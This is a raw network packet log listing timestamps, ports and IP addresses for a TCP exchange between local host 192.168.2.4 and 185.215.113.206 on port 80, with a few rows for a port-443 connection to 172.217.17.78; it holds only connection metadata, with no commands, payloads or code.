Dec 9, 2024 20:27:34.249716997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.249722004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.249763012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.250633001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.250679016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.251626968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.251638889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.251673937 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.251696110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.251739025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.252593994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.252641916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.252830982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.252876043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.253619909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.253633976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.253675938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.254596949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.254647017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.255445957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.255495071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.255650043 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.255662918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.255696058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.255713940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.256597996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.256645918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.257651091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.257666111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.257679939 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.257709026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.257736921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.258657932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.258702040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.258774996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.258819103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.259588957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.259633064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.259799957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.259840965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.260566950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.260634899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.399569988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.399632931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.399816990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.399858952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.399907112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.399919987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.399949074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.399971008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.400906086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.400950909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.401257992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.401305914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.401417971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.401463032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.402265072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.402321100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.402394056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.402463913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.403218031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.403263092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.403383970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.403429985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.404194117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.404244900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.405210972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.405222893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.405255079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.405268908 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.405278921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.405308962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.406193972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.406205893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.406236887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.406260967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.407155037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.407197952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.407407045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.407452106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.408173084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.408216000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.408984900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.409024954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.409214020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.409256935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.409286976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.409327984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.410162926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.410217047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.410245895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.410300016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.411165953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.411214113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.412204981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.412228107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.412257910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.412261963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.412266016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.412307978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.413177013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.413189888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.413224936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.413249016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.414161921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.414216995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.414772034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.414839983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.415148020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.415190935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.415416956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.415479898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.416135073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.416182041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.416547060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.416587114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.417129040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.417175055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.417432070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.417491913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.418113947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.418164015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.418663979 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.418709040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.419238091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.419284105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.419404030 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.419514894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.419564962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.419588089 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.419620991 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.419629097 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.419642925 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.419675112 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.419687033 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.420201063 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.420212984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.420258045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.421155930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.421246052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.421308041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.421308041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.422127008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.422171116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.422564983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.422631025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.423139095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.423177958 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.423206091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.423243046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.424133062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.424180031 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.424530983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.424577951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.425148964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.425193071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.425343990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.425385952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.426120996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.426165104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.426359892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.426400900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.427115917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.427161932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.427534103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.427577019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.428138018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.428180933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.428349972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.428394079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.429132938 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.429145098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.429176092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.429199934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.430114985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.430174112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.430483103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.430529118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.431188107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.431233883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.432152987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.432167053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.432199001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.432219982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.432272911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.432313919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.432718992 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.432817936 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.432830095 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.433130026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.433175087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.433201075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.433248997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.434135914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.434189081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.435090065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.435101986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.435148954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.435194016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.435240030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.436099052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.436148882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.436662912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.436707973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.437192917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.437233925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.437887907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.437933922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.438157082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.438169956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.438198090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.438222885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.439225912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.439246893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.439266920 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.439279079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.439294100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.439320087 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.439331055 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.440103054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.440224886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.440288067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.440288067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.441126108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.441175938 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.441479921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.441529989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.442137003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.442179918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.442584991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.442626953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.443173885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.443223953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.443561077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.443604946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.444122076 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.444159985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.444705963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.444741011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.445072889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.445126057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.445171118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.445208073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.446121931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.446166039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.446240902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.446280003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.447105885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.447145939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.447231054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.447268009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.448081970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.448127985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.448195934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.448237896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.449110031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.449156046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.449311018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.449351072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.450176001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.450223923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.450382948 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.450428009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.451062918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.451112986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.451711893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.451760054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.452065945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.452110052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.452286005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.452327967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.453061104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.453105927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.453551054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.453613997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.454076052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.454127073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.454408884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.454452038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.455049038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.455104113 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.489845037 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.489856958 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.531784058 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.540992022 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.545505047 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.545552015 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.545562983 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:34.592358112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.592401981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.592433929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.592463970 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.592786074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.592803955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.592834949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.592865944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.593902111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.593955994 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.594136000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.594193935 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.594293118 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:34.594922066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.594974041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.595211029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.595273972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.595303059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.595340014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.596240997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.596314907 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.596348047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.596393108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.597064018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.597085953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.597112894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.597136974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.598020077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.598071098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.598407030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.598457098 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.599044085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.599097013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.599766016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.599814892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.600053072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.600065947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.600100040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.600112915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.601053953 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.601068974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.601103067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.601115942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.601999998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.602051020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.602441072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.602492094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.603010893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.603060007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.604063034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.604114056 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.604149103 CET	80	49740	185.215.113.206	192.168.2.4
